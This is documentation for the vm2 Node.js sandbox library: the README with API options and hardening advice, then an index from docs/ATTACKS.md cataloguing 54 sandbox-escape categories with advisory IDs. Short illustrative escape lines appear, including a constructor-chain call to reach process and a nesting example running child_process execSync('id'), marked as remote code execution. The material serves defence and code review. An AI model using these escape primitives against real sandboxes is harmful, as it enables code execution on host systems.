vm2 Documentation

Advanced vm/sandbox for Node.js

4,109 stars JavaScript JavaScript 8 files Β· ~129,911 tokens #javascript#node-js#sandbox#security#vm
RAW Doc

Technical Documentation: patriksimek/vm2

ℹ️ Provenance: Multi-Tier Ingestion Β· CodeWiki Reference

Overview (`README.md`)

vm2 [](https://github.com/patriksimek/vm2/actions/workflows/test.yml) [![Known Vulnerabilities][snyk-image]][snyk-url]

vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.

Installation

sh
npm install vm2

Quick Examples

js
import { VM } from 'vm2';

const vm = new VM();
vm.run(`process.exit()`); // TypeError: process.exit is not a function
js
import { NodeVM } from 'vm2';

const vm = new NodeVM({
	require: {
		external: true,
		root: './',
	},
});

vm.run(
	`
    var request = require('request');
    request('http://www.google.com', function (error, response, body) {
        console.error(error);
        if (!error && response.statusCode == 200) {
            console.log(body); // Show the HTML for the Google homepage.
        }
    });
`,
	'vm.js',
);

Important Security Disclaimer

Before using vm2, you should understand how it works and its limitations.

vm2 attempts to sandbox untrusted JavaScript code within the same Node.js process as your application. It does this through a complex network of Proxies that intercept and mediate every interaction between the sandbox and the host environment.

The Fundamental Challenge

JavaScript is an extraordinarily dynamic language. Objects can be accessed through prototype chains, constructors can be reached via error objects, symbols provide protocol hooks, and async execution creates timing windows. The sheer number of ways to traverse from one object to another in JavaScript makes building an airtight in-process sandbox extremely difficult.

We are honest about this reality: Despite our best efforts, researchers and security professionals continuously discover new ways to escape the vm2 sandbox. We actively patch these vulnerabilities as they are reported, but the cat-and-mouse nature of in-process sandboxing means that:

  1. New bypasses will likely be discovered in the future. Check our security advisories for known vulnerabilities.
  2. You must keep vm2 updated to benefit from the latest security fixes. Subscribe to security advisories and update promptly.
  3. vm2 should not be your only line of defense. Defense in depth is essential when running untrusted code.

More Robust Alternatives

If you require stronger isolation guarantees, consider these alternatives that provide true process or hardware-level isolation:

Solution Approach Performance Trade-offs
isolated-vm Separate V8 isolates (different V8 heap) Fast In maintenance mode; requires manual V8 updates
Separate process / Worker child_process or Worker threads with limited permissions Medium Higher IPC overhead; data must be serialized
Containers / VMs Docker, gVisor, Firecracker Slow Startup overhead; resource-heavy
Managed services Cloud-based code execution (e.g., AWS Lambda, Cloudflare Workers) Variable Network latency; external dependency

When vm2 May Still Be Appropriate

vm2 can be suitable when:

  • You need tight integration with host objects and fast synchronous communication
  • The untrusted code comes from a relatively trusted source (e.g., internal tools, plugin systems with vetted authors)
  • You combine vm2 with other security layers (network isolation, filesystem restrictions, resource limits)
  • You accept the risk and actively monitor for security updates

If you're running code from completely untrusted sources (e.g., arbitrary user submissions), we strongly recommend using a solution with stronger isolation guarantees.

Runtimes

Runtime Status
Node.js Supported. The sandbox is a security boundary.
Bun Experimental. Partial functional compatibility β€” not a security boundary.

Two separate limitations apply to Bun, and neither implies the other.

It is not a security boundary. vm2's threat model, the attack catalogue in
docs/ATTACKS.md, and every regression test in test/ghsa/
are derived from V8 internals. JavaScriptCore, which Bun uses, has its own
equivalents, and none have been audited against vm2's bridge. The suite passing
under Bun demonstrates compatibility, not that the sandbox holds there. Do not
use vm2 on Bun to isolate untrusted code.

Compatibility is partial, not parity. A green Bun run covers only the tests
that actually execute there. test/bun-skips.js lists what is excluded and why,
and the known behavioural gaps include:

  • Buffer.from(arrayLike) returns a zero-length buffer
  • VMScript filename / lineOffset / columnOffset metadata is not
    observable, because JSC's CallSite objects carry no methods
  • Object.freeze on a frozen host object with a non-configurable accessor
    throws a proxy-invariant TypeError where V8 does not
  • some Buffer operations across the sandbox boundary are drastically slower β€”
    a 64 MB allocUnsafe takes over 400 seconds against 1.7 on Node, slow enough
    to read as a hang

Treat Bun support as best-effort compatibility for trusted code, and check the
skip list before relying on any particular behaviour.

Features

  • Runs untrusted code securely in a single process with your code side by side
  • Full control over the sandbox's console output
  • The sandbox has limited access to the process's methods
  • It is possible to require modules (built-in and external) from the sandbox
  • You can limit access to certain (or all) built-in modules
  • You can securely call methods and exchange data and callbacks between sandboxes
  • Actively maintained with patches for known escape methods (see Security Disclaimer)
  • Transpiler support

How does it work

  • It uses the internal VM module to create a secure context.
  • It uses Proxies to prevent escaping from the sandbox.
  • It overrides the built-in require to control access to modules.

For an in-depth look at vm2’s internals, see docs/ATTACKS.md.

What is the difference between Node's vm and vm2?

Try it yourself:

js
import { runInNewContext } from "node:vm";

runInNewContext('this.constructor.constructor("return process")().exit()');
console.log('Never gets executed.');
js
import { VM } from 'vm2';

new VM().run('this.constructor.constructor("return process")().exit()');
// Throws ReferenceError: process is not defined

Documentation

VM

VM is a simple sandbox to synchronously run untrusted code without the require feature. Only JavaScript built-in objects and Node's Buffer are available. Scheduling functions (setInterval, setTimeout and setImmediate) are not available by default.

Options:

  • timeout - Script timeout in milliseconds. WARNING: You might want to use this option together with allowAsync=false. Further, operating on returned objects from the sandbox can run arbitrary code and circumvent the timeout. One should test if the returned object is a primitive with typeof and fully discard it (doing logging or creating error messages with such an object might also run arbitrary code again) in the other case.
  • sandbox - VM's global object.
  • compiler - javascript (default), typescript, coffeescript or custom compiler function. The library expects you to have compiler pre-installed if the value is set to typescript or coffeescript. typescript requires typescript@6 or earlier β€” see Compilers.
  • eval - If set to false any calls to eval or function constructors (Function, GeneratorFunction, etc.) will throw an EvalError (default: true).
  • wasm - If set to false any attempt to compile a WebAssembly module will throw a WebAssembly.CompileError (default: true). Note: WebAssembly.JSTag is removed inside the sandbox for security reasons, so wasm code cannot catch JavaScript exceptions.
  • allowAsync - If set to false any attempt to run code using async will throw a VMError (default: true).
  • bufferAllocLimit - Maximum size in bytes for a single Buffer.alloc / Buffer.allocUnsafe / Buffer.allocUnsafeSlow / Buffer(N) / new Buffer(N) request from inside the sandbox. Requests that exceed this cap throw a RangeError synchronously without performing the host allocation. Default: Infinity (no cap, fully backwards-compatible). Embedders running untrusted code in memory-constrained environments (Docker / Kubernetes / Lambda / serverless) should opt into a finite cap (e.g. 32 * 1024 * 1024) as part of layered DoS defense, the same way they opt into timeout. See Hardening recommendations below.

IMPORTANT: Timeout is only effective on synchronous code that you run through run. Timeout does NOT work on any method returned by VM. There are some situations when timeout doesn't work - see #244.

js
import { VM } from 'vm2';

const vm = new VM({
	timeout: 1000,
	allowAsync: false,
	sandbox: {},
});

vm.run('process.exit()'); // throws ReferenceError: process is not defined

You can also retrieve values from VM.

js
let number = vm.run('1337'); // returns 1337

TIP: See tests for more usage examples.

NodeVM

Unlike VM, NodeVM allows you to require modules in the same way that you would in the regular Node's context.

Options:

  • console - inherit to enable console, redirect to redirect to events, off to disable console (default: inherit).
  • sandbox - VM's global object.
  • compiler - javascript (default), typescript, coffeescript or custom compiler function (which receives the code, and it's file path). The library expects you to have compiler pre-installed if the value is set to typescript or coffeescript. typescript requires typescript@6 or earlier β€” see Compilers.
  • eval - If set to false any calls to eval or function constructors (Function, GeneratorFunction, etc.) will throw an EvalError (default: true).
  • wasm - If set to false any attempt to compile a WebAssembly module will throw a WebAssembly.CompileError (default: true). Note: WebAssembly.JSTag is removed inside the sandbox for security reasons, so wasm code cannot catch JavaScript exceptions.
  • bufferAllocLimit - Same semantics as on VM β€” maximum size in bytes for a single Buffer.alloc family request from inside the sandbox. Default: Infinity. See Hardening recommendations.
  • sourceExtensions - Array of file extensions to treat as source code (default: ['js']).
  • require - true, an object or a Resolver to enable require method (default: false).
  • require.external - Values can be true, an array of allowed external modules, or an object (default: false). All paths matching /node_modules/${any_allowed_external_module}/(?!/node_modules/) are allowed to be required.
  • require.external.modules - Array of allowed external modules. Also supports wildcards, so specifying ['@scope/*-ver-??], for instance, will allow using all modules having a name of the form @scope/something-ver-aa, @scope/other-ver-11, etc. The * wildcard does not match path separators.
  • require.external.transitive - Boolean which indicates if transitive dependencies of external modules are allowed (default: false). WARNING: When a module is required transitively, any module is then able to require it normally, even if this was not possible before it was loaded.
  • require.builtin - Array of allowed built-in modules, accepts ["*"] for all (default: none). WARNING: "*" can be dangerous as new built-ins can be added.
  • require.root - Restricted path(s) where local modules can be required (default: every path).
  • require.mock - Collection of mock modules (both external or built-in).
  • require.context - host (default) to require modules in the host and proxy them into the sandbox. sandbox to load, compile, and require modules in the sandbox. callback(moduleFilename, ext) to dynamically choose a context per module. The default will be sandbox is nothing is specified. Except for events, built-in modules are always required in the host and proxied into the sandbox.
  • require.import - An array of modules to be loaded into NodeVM on start.
  • require.resolve - An additional lookup function in case a module wasn't found in one of the traditional node lookup paths.
  • require.customRequire - Use instead of the require function to load modules from the host.
  • require.strict - false to not force strict mode on modules loaded by require (default: true).
  • require.fs - Custom file system implementation.
  • nesting - WARNING: Allowing this is a security risk as scripts can create a NodeVM which can require any host module. true to enable VMs nesting (default: false).
  • wrapper - commonjs (default) to wrap script into CommonJS wrapper, none to retrieve value returned by the script.
  • argv - Array to be passed to process.argv.
  • env - Object to be passed to process.env.
  • strict - true to loaded modules in strict mode (default: false).

IMPORTANT: Timeout is not effective for NodeVM so it is not immune to while (true) {} or similar evil.

REMEMBER: The more modules you allow, the more fragile your sandbox becomes.

js
import { NodeVM } from 'vm2';

const vm = new NodeVM({
	console: 'inherit',
	sandbox: {},
	require: {
		external: true,
		builtin: ['fs', 'path'],
		root: './',
		mock: {
			fs: {
				readFileSync: () => 'Nice try!',
			},
		},
	},
});

// Sync

let functionInSandbox = vm.run('module.exports = function(who) { console.log("hello "+ who); }');
functionInSandbox('world');

// Async

let functionWithCallbackInSandbox = vm.run('module.exports = function(who, callback) { callback("hello "+ who); }');
functionWithCallbackInSandbox('world', greeting => {
	console.log(greeting);
});

When wrapper is set to none, NodeVM behaves more like VM for synchronous code.

js
assert.ok(vm.run('return true') === true);

TIP: See tests for more usage examples.

Loading modules by relative path

To load modules by relative path, you must pass the full path of the script you're running as a second argument to vm's run method if the script is a string. The filename is then displayed in any stack traces generated by the script.

js
vm.run('require("foobar")', '/data/myvmscript.js');

If the script you are running is a VMScript, the path is given in the VMScript constructor.

js
const script = new VMScript('require("foobar")', { filename: '/data/myvmscript.js' });
vm.run(script);

Resolver

A resolver can be created via makeResolverFromLegacyOptions and be used for multiple NodeVM instances allowing to share compiled module code potentially speeding up load times. The first example of NodeVM can be rewritten using makeResolverFromLegacyOptions as follows.

js
const resolver = makeResolverFromLegacyOptions({
	external: true,
	builtin: ['fs', 'path'],
	root: './',
	mock: {
		fs: {
			readFileSync: () => 'Nice try!',
		},
	},
});
const vm = new NodeVM({
	console: 'inherit',
	sandbox: {},
	require: resolver,
});

VMScript

You can increase performance by using precompiled scripts. The precompiled VMScript can be run multiple times. It is important to note that the code is not bound to any VM (context); rather, it is bound before each run, just for that run.

js
import { VM, VMScript } from 'vm2';

const vm = new VM();
const script = new VMScript('Math.random()');
console.log(vm.run(script));
console.log(vm.run(script));

It works for both VM and NodeVM.

js
import { NodeVM, VMScript } from 'vm2';

const vm = new NodeVM();
const script = new VMScript('module.exports = Math.random()');
console.log(vm.run(script));
console.log(vm.run(script));

Code is compiled automatically the first time it runs. One can compile the code anytime with script.compile(). Once the code is compiled, the method has no effect.

Compilers

compiler accepts javascript (default), typescript, coffeescript, or your own function. The typescript and coffeescript compilers are optional β€” install the package yourself; vm2 does not depend on either.

TypeScript

The built-in typescript compiler requires typescript@6 or earlier.

vm2 transpiles through TypeScript's transpileModule() API. TypeScript 7 removed it from the package entry point β€” require('typescript') there resolves to { version, versionMajorMinor } only, and the replacement API lives behind the explicitly unstable typescript/unstable/* subpaths, none of which provide a single-file transpile equivalent. There is therefore nothing for vm2 to fall back to on 7.x.

Selecting compiler: 'typescript' with TypeScript 7 installed throws at new VMScript(...) / new VM(...):

text
VMError: The installed TypeScript (7.0.2) does not expose the transpileModule() API that
vm2's built-in TypeScript compiler uses; it was removed from the package entry point in
TypeScript 7. Install typescript@6 or earlier, or pass your own transpiler as a function:
{ compiler: (code, filename) => javaScriptSource }.

Either pin typescript@6, or supply your own transpiler β€” any function returning JavaScript works, so TypeScript 7's tsc, esbuild, swc, or a type-stripper are all valid:

js
import { VM, VMScript } from 'vm2';
import { transformSync } from 'esbuild';

const script = new VMScript('const x: number = 1; x', {
	compiler: (code, filename) => transformSync(code, { loader: 'ts', format: 'cjs' }).code,
});

new VM().run(script);

A custom compiler receives (code, filename) and must return JavaScript source. It runs in the host realm, before sandboxing β€” treat it as trusted code and never build one out of untrusted input.

CoffeeScript

Requires coffee-script to be installed. Compiled with { header: false, bare: true }; any compilerOptions you pass are merged over those.

Error handling

Errors in code compilation and synchronous code execution can be handled by try-catch. Errors in asynchronous code execution can be handled by attaching uncaughtException event handler to Node's process.

js
try {
	var script = new VMScript('Math.random()').compile();
} catch (err) {
	console.error('Failed to compile script.', err);
}

try {
	vm.run(script);
} catch (err) {
	console.error('Failed to execute script.', err);
}

process.on('uncaughtException', err => {
	console.error('Asynchronous error caught.', err);
});

Debugging a sandboxed code

You can debug or inspect code running in the sandbox as if it was running in a normal process.

  • You can use breakpoints (which requires you to specify a script file name)
  • You can use debugger keyword.
  • You can use step-in to step inside the code running in the sandbox.

Example

/tmp/main.js:

js
import { VM, VMScript } from 'vm2';
import { readFileSync } from 'node:fs';

const file = `${__dirname}/sandbox.js`;

// By providing a file name as second argument you enable breakpoints
const script = new VMScript(readFileSync(file), file);

new VM().run(script);

/tmp/sandbox.js

js
const foo = 'ahoj';

// The debugger keyword works just fine everywhere.
// Even without specifying a file name to the VMScript object.
debugger;

Read-only objects (experimental)

To prevent sandboxed scripts from adding, changing, or deleting properties from the proxied objects, you can use freeze methods to make the object read-only. This is only effective inside VM. Frozen objects are affected deeply. Primitive types cannot be frozen.

Example without using freeze:

js
const util = {
	add: (a, b) => a + b,
};

const vm = new VM({
	sandbox: { util },
});

vm.run('util.add = (a, b) => a - b');
console.log(util.add(1, 1)); // returns 0

Example with using freeze:

js
const vm = new VM(); // Objects specified in the sandbox cannot be frozen.
vm.freeze(util, 'util'); // Second argument adds object to global.

vm.run('util.add = (a, b) => a - b'); // Fails silently when not in strict mode.
console.log(util.add(1, 1)); // returns 2

IMPORTANT: It is not possible to freeze objects that have already been proxied to the VM.

Protected objects (experimental)

Unlike freeze, this method allows sandboxed scripts to add, change, or delete properties on objects, with one exception - it is not possible to attach functions. Sandboxed scripts are therefore not able to modify methods like toJSON, toString or inspect.

IMPORTANT: It is not possible to protect objects that have already been proxied to the VM.

Cross-sandbox relationships

js
const assert = require('assert');
const { VM } = require('vm2');

const sandbox = {
	object: new Object(),
	func: new Function(),
	buffer: new Buffer([0x01, 0x05]),
};

const vm = new VM({ sandbox });

assert.ok(vm.run(`object`) === sandbox.object);
assert.ok(vm.run(`object instanceof Object`));
assert.ok(vm.run(`object`) instanceof Object);
assert.ok(vm.run(`object.__proto__ === Object.prototype`));
assert.ok(vm.run(`object`).__proto__ === Object.prototype);

assert.ok(vm.run(`func`) === sandbox.func);
assert.ok(vm.run(`func instanceof Function`));
assert.ok(vm.run(`func`) instanceof Function);
assert.ok(vm.run(`func.__proto__ === Function.prototype`));
assert.ok(vm.run(`func`).__proto__ === Function.prototype);

assert.ok(vm.run(`new func() instanceof func`));
assert.ok(vm.run(`new func()`) instanceof sandbox.func);
assert.ok(vm.run(`new func().__proto__ === func.prototype`));
assert.ok(vm.run(`new func()`).__proto__ === sandbox.func.prototype);

assert.ok(vm.run(`buffer`) === sandbox.buffer);
assert.ok(vm.run(`buffer instanceof Buffer`));
assert.ok(vm.run(`buffer`) instanceof Buffer);
assert.ok(vm.run(`buffer.__proto__ === Buffer.prototype`));
assert.ok(vm.run(`buffer`).__proto__ === Buffer.prototype);
assert.ok(vm.run(`buffer.slice(0, 1) instanceof Buffer`));
assert.ok(vm.run(`buffer.slice(0, 1)`) instanceof Buffer);

CLI

Before you can use vm2 in the command line, install it globally with npm install vm2 -g.

sh
vm2 ./script.js

Hardening recommendations

vm2 prevents sandbox escapes (untrusted code obtaining host realm access). It does not, by itself, prevent every form of resource exhaustion or denial-of-service. Embedders running untrusted code should add the following layered defenses around the sandbox.

1. Cap memory allocation with `bufferAllocLimit`

A single Buffer.alloc(N) call with attacker-controlled N runs as one synchronous host C++ allocation that V8's timeout cannot interrupt. In memory-constrained environments a ~100-byte sandbox payload can drive a 100 MB+ host RSS jump and crash the host process via OOM. Set bufferAllocLimit (e.g. 32 * 1024 * 1024) to cap individual allocations:

js
const vm = new VM({
	timeout: 1000,
	bufferAllocLimit: 32 * 1024 * 1024,
	allowAsync: false,
});

The cap also applies to the deprecated Buffer(N) and new Buffer(N) paths. Note that aggregate exhaustion (many small allocations, Buffer.concat, Uint8Array, String.repeat, Array(n).fill(), etc.) is not covered by this cap β€” combine with a host-side memory limit (--max-old-space-size, container limit, cgroup) for full coverage.

2. Install a host-side `unhandledRejection` handler

A class of host-process abort DoS exists where sandbox code creates an async function, async function*, or await using whose body throws a value that triggers a host-realm error during stack formatting (e.g. e.name = Symbol(); e.stack). V8 creates the rejection promise via the realm's intrinsic Promise, which bypasses vm2's Promise subclass wrap, so the rejection escapes to the host as unhandledRejection. On Node 15+ the default behavior is to terminate the process.

Closing this requires changing observable host behavior, so vm2 does not ship a fix by default. Embedders should install a process-level handler that swallows (or logs) sandbox-originating rejections:

js
// Recommended: filter rejections that originated inside vm2 and swallow them,
// while letting your own host-side rejections propagate.
process.on('unhandledRejection', (reason, promise) => {
	// Heuristic: rejections from the sandbox frequently surface as values
	// without proper Error semantics, or with stacks pointing at vm.js.
	// Adjust the predicate to match your application.
	if (looksLikeSandboxOrigin(reason)) {
		return; // swallow β€” don't terminate the process
	}
	// Otherwise: handle (or rethrow) as normal for your host code.
	yourLogger.error('unhandled rejection', reason);
});

If your application has no other source of unhandled rejections, a blanket swallow + log is acceptable:

js
process.on('unhandledRejection', reason => {
	yourLogger.warn('swallowed sandbox rejection', reason);
});

A scoped fix may ship behind an opt-in swallowSandboxUnhandledRejections flag in a future minor release; until then, the host-side handler is the recommended mitigation.

3. Run with a process-level memory cap

Even with bufferAllocLimit set, run the host process with --max-old-space-size (or an equivalent container memory limit) sized for the workload. The cap protects against the single-allocation primitive; the OS-level limit protects against aggregate exhaustion and against any future allocation primitive vm2 hasn't yet capped.

4. Treat `require.builtin: ['*']` as a non-sandbox configuration

The '*' wildcard expands to most Node built-ins, including child_process, fs, dgram, net, http, and dns. These are full host-capability primitives β€” require('child_process').execSync('id') is reachable from the sandbox under '*'. vm2's '*' semantics are intentional (some embedders run trusted-but-isolated code), but it should not be used as a default for untrusted code. Prefer an explicit allowlist of the smallest set of modules your sandbox actually needs.

5. `nesting: true` is an escape hatch

nesting: true lets sandbox code require('vm2') and construct nested NodeVMs. The nested VM's require config is chosen by the sandbox code that constructs it, not constrained by the outer VM. Concretely:

js
const vm = new NodeVM({ nesting: true, require: { builtin: [] } });
vm.run(`
  const { NodeVM: NVM } = require('vm2');
  // Inner VM's config is whatever the sandbox writes here:
  const inner = new NVM({ require: { builtin: ['child_process'] } });
  inner.run('require("child_process").execSync("id")');  // RCE
`);

If you set nesting: true, you have effectively granted the sandbox the same trust level you have. Do not enable nesting: true for untrusted code. Use it only when you trust the sandboxed code itself but want VM-style execution semantics (fresh global, controlled timeouts) for non-security reasons.

nesting: true requires an explicit require config object (e.g. require: { builtin: [] } or require: {}). Any other shape β€” require: false, require: undefined, require: null, or omitting require entirely β€” throws VMError at construction (GHSA-m4wx-m65x-ghrr, supersedes GHSA-8hg8-63c5-gwmx). All of those shapes produce a NESTING_OVERRIDE-only resolver: the sandbox can require('vm2') but nothing else, which is a pure escape primitive with no legitimate use. To deny all requires, remove nesting: true. To allow nested VMs, provide an explicit require config so the trade-off is visible at the call site.

Known Issues

  • It is not possible to define a class that extends a proxied class. This includes using a proxied class in Object.create.
  • Direct eval does not work.
  • Logging sandbox arrays will repeat the array part in the properties.
  • Source code transformations can result a different source string for a function.
  • There are ways to crash the node process from inside the sandbox. See Hardening recommendations.
  • The built-in typescript compiler does not work with TypeScript 7 or newer, which removed the transpileModule() API vm2 uses. Use typescript@6 or pass your own transpiler β€” see Compilers.

ATTACKS (`docs/ATTACKS.md`)

Sandbox Escape Attack Patterns

This document catalogs known attack patterns used to circumvent the vm2 sandbox. It is intended for AI agents and reviewers evaluating new code contributions. Each section describes a category of attack, provides canonical examples, explains why it is dangerous, and lists detection heuristics for spotting similar patterns in contributed code.

How to Use This Document

When reviewing a code contribution:

  1. Check if any code (including test fixtures, examples, or "utility" helpers) matches the patterns in the family files.
  2. Pay special attention to code that accesses .constructor, __proto__, Symbol.species, Proxy, Reflect, or overrides built-in prototype methods.
  3. Any code that attempts to obtain a reference to host-realm Function, process, require, or child_process from within sandbox context is an escape attempt.
  4. The ultimate goal of almost every escape is: get a reference to the host Function constructor, then call Function("return process")() to access Node.js process and from there require("child_process").execSync(...).

The catalog is split by mechanism family: this file is the index and the common material, and each family under docs/attacks/ holds the numbered entries. Start from the Category Index when you have a number, and from the family table when you have a mechanism. When documenting a new advisory, follow the Category Entry Format and verify the fix against the Defense Invariants.


Category Index

Families

Family Mechanism Categories Invariants
Host Reference Primitives Reaching a raw host object or host Function through language-level channels 1, 2, 3, 5, 8, 10, 15, 18, 54 1, 4, 7, 8
Error and Exception Sanitization Exceptions and error containers as carriers of host references past handleException 4, 16, 17, 38, 39, 48, 49 2, 3, 5
Promise and Async Deferred execution: species, thenable assimilation, cross-realm Promise prototypes, engine protectors, allowAsync 7, 19, 29, 31, 33, 43, 51, 53 4, 12, 14
Host Prototype Mutation Writing into host intrinsic prototypes through bridge write traps, setter primitives, or Receiver confusion 20, 26, 30, 32, 37, 50 6
Bridge Internals Exploiting the bridge's own machinery: traps, handler exposure, monkey-patched primitives, internal containers and state, read-only views 6, 9, 11, 14, 27, 28, 44 8, 11
Transformer and Module Loading Syntax the transformer cannot see, and dynamic code or module loading paths 12, 13 9, 10
NodeVM require and Allowlists NodeVM builtin and external allowlists, require.root, nesting, host-authority members of allowed builtins 21, 24, 25, 34, 35, 40, 45, 46, 47, 52 13
Host Resources Host memory, heap, process lifetime and the timeout guarantee: DoS and memory disclosure 22, 23, 36, 41, 42 none yet

Categories

Kind is primitive (no prerequisites), technique (a delivery mechanism for primitives), or compound (a complete chain closed by an advisory fix).

# Category Family Kind Advisories
1 Constructor Chain Traversal Host Reference Primitives primitive none
2 Prototype Chain Manipulation Host Reference Primitives primitive none
3 Symbol-Based Attacks Host Reference Primitives primitive none
4 Error Object Exploitation Error and Exception Sanitization primitive none
5 Function Caller/Callee Access Host Reference Primitives primitive none
6 Proxy Trap Exploitation Bridge Internals technique none
7 Promise and Async Exploitation Promise and Async technique GHSA-55hx-c926-fr95
8 Cross-Realm Symbol Extraction from Host Objects Host Reference Primitives technique GHSA-m5q2-4fm3-vfqp, GHSA-47x8-96vw-5wg6, GHSA-jf8q-945g-9q4c
9 Proxy Handler Exposure via util.inspect Bridge Internals technique GHSA-v37h-5mfm-c47c, GHSA-qcp4-v2jj-fjx8
10 Built-in Function Exploitation Host Reference Primitives technique none
11 Monkey-Patching Bridge Internals Bridge Internals technique none
12 Code Transformation Bypass Transformer and Module Loading technique GHSA-wp5r-2gw5-m7q7
13 Dynamic Import and Module Loading Transformer and Module Loading technique none
14 Object.prototype Trap Pollution via in Operator Bridge Internals technique none
15 Property Descriptor Value Extraction Host Reference Primitives technique none
16 SuppressedError via Explicit Resource Management Error and Exception Sanitization compound GHSA-55hx-c926-fr95, GHSA-35vh-489p-v7cx (dup of GHSA-55hx-c926-fr95)
17 WebAssembly JSTag Exception Catch Error and Exception Sanitization compound none
18 Array Species Self-Return via Constructor Manipulation Host Reference Primitives compound GHSA-grj5-jjm8-h35p
19 Host prepareStackTrace Fallback via Array.fromAsync Promise Bypass Promise and Async compound GHSA-v27g-jcqj-v8rw, GHSA-grj5-jjm8-h35p, GHSA-55hx-c926-fr95
20 Host Intrinsic Prototype Pollution via Bridge Write Traps Host Prototype Mutation compound GHSA-vwrp-x96c-mhwq, GHSA-m5q2-4fm3-vfqp, GHSA-3vgf-8m4q-q4qr, GHSA-59g5-pmg6-5gr4 (dup of GHSA-3vgf-8m4q-q4qr)
21 NodeVM Builtin Allowlist Bypass via Host-Passthrough Builtins NodeVM require and Allowlists compound GHSA-947f-4v7f-x2v8, GHSA-rp36-8xq3-r6c4, GHSA-8686-vhfx-7r3j, GHSA-6rh5-qq4q-97xh, GHSA-qhwx-74w5-xhxq, GHSA-m5w8-4gq2-6f8x, GHSA-pq68-rvw4-xp4r
22 Promise Executor Unhandled Rejection β€” Host Process DoS (open residual) Host Resources compound GHSA-hw58-p9xv-2mjh, GHSA-gjq8-xm47-88rc, GHSA-2v2p-6j97-cjg9
23 Unbounded Buffer.alloc(N) β€” Host Heap DoS Host Resources compound GHSA-6785-pvv7-mvg7, GHSA-gmc2-2x9w-cgh9, GHSA-v836-6xw4-9cx3
24 NodeVM require.root Symlink Bypass (Path Check/Use TOCTOU) NodeVM require and Allowlists compound GHSA-cp6g-6699-wx9c
25 NodeVM nesting Configuration Trap (NESTING_OVERRIDE-only resolver) NodeVM require and Allowlists compound GHSA-8hg8-63c5-gwmx, GHSA-m4wx-m65x-ghrr, GHSA-8hr7-r645-pc6w
26 Sandbox-Realm Null-Proto via Bridge from() β€” Set-Trap Write-Through Host Prototype Mutation compound GHSA-mpf8-4hx2-7cjg, GHSA-9vg3-4rfj-wgcm
27 Internal State Probe via Computed Property Access on globalThis Bridge Internals compound GHSA-wp5r-2gw5-m7q7, GHSA-2cm2-m3w5-gp2f
28 Bridge Internal-State Leak via Sandbox-Realm Array Setter Bridge Internals compound GHSA-9qj6-qjgg-37qq, GHSA-q3fm-4wcw-g57x, GHSA-grj5-jjm8-h35p
29 Async Generator yield*-Return Thenable Exception Capture Promise and Async compound GHSA-248r-7h7q-cr24
30 Host Prototype Mutation via Bridged Setter Primitives Host Prototype Mutation compound GHSA-v6mx-mf47-r5wg, GHSA-9vg3-4rfj-wgcm
31 Promise Species Hijack in localPromise Swallow Tail Promise and Async compound GHSA-hw58-p9xv-2mjh, GHSA-76w7-j9cq-rx2j
32 Bridge set Trap Ignores Spec Receiver β€” Inherited-Receiver Write-Through Host Prototype Mutation compound GHSA-c4cf-2hgv-2qv6, GHSA-m5q2-4fm3-vfqp, GHSA-vwrp-x96c-mhwq
33 WebAssembly JSPI Cross-Realm Promise Prototype Promise and Async compound GHSA-6j2x-vhqr-qr7q, GHSA-55hx-c926-fr95, GHSA-wjwh-qqvp-g4p4, GHSA-m3pp-qgq7-gwm6 (dup of GHSA-wjwh-qqvp-g4p4)
34 NodeVM Wildcard Exposes Undocumented Underscored Builtins β€” Network Capability Bypass NodeVM require and Allowlists compound GHSA-r9pm-gxmw-wv6p
35 NodeVM Process-Wide Observability Builtins (Host-Data Info Leak) NodeVM require and Allowlists compound GHSA-m5w8-4gq2-6f8x, GHSA-9g8x-92q2-p28f, GHSA-rp36-8xq3-r6c4
36 bufferAllocLimit Bypass via ArrayBuffer / TypedArray / WebAssembly.Memory Host Resources compound GHSA-6785-pvv7-mvg7, GHSA-v836-6xw4-9cx3
37 Stacked Indirection Bypass of Host Prototype Mutator Peel Host Prototype Mutation compound GHSA-v6mx-mf47-r5wg, GHSA-cfcw-xp6x-25gj
38 Error.cause Host Reference Leak to Sandbox Error and Exception Sanitization compound GHSA-m283-3h24-438v
39 Host-Promise Rejection Sanitizer Bypass via call/apply Indirection Error and Exception Sanitization compound GHSA-647f-g98j-qq25
40 Host-Authority Builtin Members Survive the Read-Only Wrap NodeVM require and Allowlists compound GHSA-46pr-c5wc-xffx, GHSA-6w8r-xxw2-g3hx, GHSA-98xx-8mx4-x7cm, GHSA-h85j-hv3c-qfgq, GHSA-x3v6-43hc-82mc
41 Shared Buffer Pool Discloses / Corrupts Host Memory Host Resources compound GHSA-fcqc-726x-5wfc, GHSA-489w-w794-jq94
42 FinalizationRegistry Cleanup Callback β€” timeout Protection-Mechanism Failure Host Resources compound GHSA-r4fx-v8hh-22mv
43 Stale PromiseThenLookupChain Protector β€” Species Survives finally Promise and Async compound GHSA-27g9-p43v-cw3v
44 vm.freeze() Read-Only Bypass via Accessor Setter Leak Bridge Internals compound GHSA-633r-hq9m-c4ff
45 NodeVM External-Package Allowlist Bypass via Unanchored Matcher and .. Traversal NodeVM require and Allowlists compound GHSA-c48m-32m9-vx93
46 NodeVM External-Package Allowlist Bypass via Unanchored Module-Path Prefix NodeVM require and Allowlists compound GHSA-7q3f-wx44-378m, GHSA-5h3f-q97h-ccvc
47 Sandbox Rebuilt an Unrestricted NodeVM by Requiring vm2 From Disk; Shipped CLI Ran Untrusted Scripts With No Effective Sandbox Boundary (open residual) NodeVM require and Allowlists compound GHSA-jxxv-8r27-vm4p, GHSA-j3hm-6rg5-mchv, GHSA-cp6g-6699-wx9c
48 Host Filesystem Path Leak via Host-Realm Error Stack Error and Exception Sanitization compound GHSA-v27g-jcqj-v8rw, GHSA-x6m4-chr9-cg97
49 Revisited Host Error Carrier Leaks a Live Proxy Through the Sanitizer Cycle Memo Error and Exception Sanitization compound GHSA-x965-fc75-jpqh
50 Host Prototype-Chain Climb via Raw __proto__ Getter (Reader Side) Host Prototype Mutation compound GHSA-88hf-g992-jg85
51 allowAsync: false Bypass via Promise Thenable Assimilation Promise and Async compound GHSA-f8gf-w286-fmq2
52 Host util Members Auto-Forwarded to the Sandbox (util.getCallSites Host Call-Stack Leak) NodeVM require and Allowlists compound GHSA-r273-hxvj-fxhp
53 Host-Promise @@species Hijack + Missing Handler Delivers the Raw Settlement to the Sandbox Promise and Async compound GHSA-6454-5x88-m6jw
54 Host Global Leak via a Sloppy Host Function's Nullish this (OrdinaryCallBindThis) Host Reference Primitives compound GHSA-j89j-5m6r-cr2q

Category Entry Format

